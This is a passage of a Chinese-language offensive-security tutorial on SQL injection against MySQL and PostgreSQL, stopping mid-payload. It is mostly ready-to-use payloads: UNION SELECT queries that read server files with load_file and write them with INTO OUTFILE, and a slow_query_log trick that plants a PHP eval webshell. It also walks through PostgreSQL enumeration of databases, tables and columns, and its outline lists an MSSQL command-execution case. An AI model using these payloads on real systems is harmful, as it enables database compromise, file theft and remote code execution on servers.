

WEB 攻防-通用漏洞&SQL 读写注入

&MYSQL&MSSQL&PostgreSQL

#知识点:

- 1、SQL 注入-MYSQL 数据库
- 2、SQL 注入-MSSQL 数据库
- 3、SQL 注入-PostgreSQL 数据库

#详细点:

Access 无高权限注入点-只能猜解, 还是暴力猜解

MYSQL, PostgreSQL, MSSQL 高权限注入点-可升级读写执行等

演示案例:

- MYSQL-root 高权限读写注入
 - PostgreSQL-高权限读写注入
 - MSSQL-sa 高权限读写执行注入
 - 结尾彩蛋-某 Q 牌违法登陆框注入
-
-

#MySQL-root 高权限读写注入

-读取文件:

```
UNION SELECT
```

```
1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
```

-写入文件:

```
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into  
outfile 'd:/www.txt'
```

-路径获取: phpinfo,报错,字典等

-无法写入: secure_file_priv 突破 注入中需要支持 SQL 执行环境, 没有就需要借助 phpmyadmin 或能够直接连上对方数据库进行绕过

```
set global slow_query_log=1;
```

```
set global slow_query_log_file='shell 路径';
```

```
select '<?php eval($_GET[A])?>' or SLEEP(1);
```

#PostgreSQL-高权限读写注入

-测列数:

```
order by 4
```

```
and 1=2 union select null,null,null,null
```

-测显位: 第 2, 3

```
and 1=2 union select 'null',null,null,null 错误
```

```
and 1=2 union select null,'null',null,null 正常
```

```
and 1=2 union select null,null,'null',null 正常
```

```
and 1=2 union select null,null,null,'null' 错误
```

-获取信息:

```
and 1=2 UNION SELECT null,version(),null,null
```

```
and 1=2 UNION SELECT null,current_user,null,null
```

```
and 1=2 union select null,current_database(),null,null
```

-获取数据库名:

```
and 1=2 union select null,string_agg(datname,','),null,null from  
pg_database
```

-获取表名:

```
1、 and 1=2 union select null,string_agg(tablename,','),null,null  
from pg_tables where schemaname='public'
```

```
2、 and 1=2 union select null,string_agg(relname,','),null,null  
from pg_stat_user_tables
```

-获取列名:

```
and 1=2 union select null,string_agg(column_name,','),null,null  
from information_schema.columns where table_name='reg_users'
```

-获取数据:

```
and 1=2 union select
```
